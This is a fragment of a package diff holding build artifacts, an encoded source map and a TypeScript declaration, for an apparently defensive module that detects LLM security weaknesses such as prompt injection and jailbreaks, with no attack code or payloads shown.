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"}
|
|
@@ -0,0 +1,13 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* LLM Security Tactics Module
|
|
3
|
+
*
|
|
4
|
+
* Detects LLM/AI security vulnerabilities aligned with OWASP LLM Top 10 including
|
|
5
|
+
* prompt injection, jailbreaks, plugin abuse, excessive agency, and sensitive disclosure.
|
|
6
|
+
* Priority 3 - emerging attack surface for AI-powered applications.
|
|
7
|
+
*
|
|
8
|
+
* @module agents/adversary/tactics/llm
|
|
9
|
+
*/
|
|
10
|
+
import type { TacticModule } from "./index.js";
|
|
11
|
+
declare const llmTactic: TacticModule;
|
|
12
|
+
export { llmTactic };
|
|
13
|
+
//# sourceMappingURL=llm.d.ts.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"llm.d.ts","sourceRoot":"","sources":["../../../../src/agents/adversary/tactics/llm.ts"],"names":[],"mappings":"AAAA;;;;;;;;GAQG;AAGH,OAAO,KAAK,EACV,YAAY,EAIb,MAAM,YAAY,CAAC;AA2OpB,QAAA,MAAM,SAAS,EAAE,YAgKhB,CAAC;AA2aF,OAAO,EAAE,SAAS,EAAE,CAAC"}
|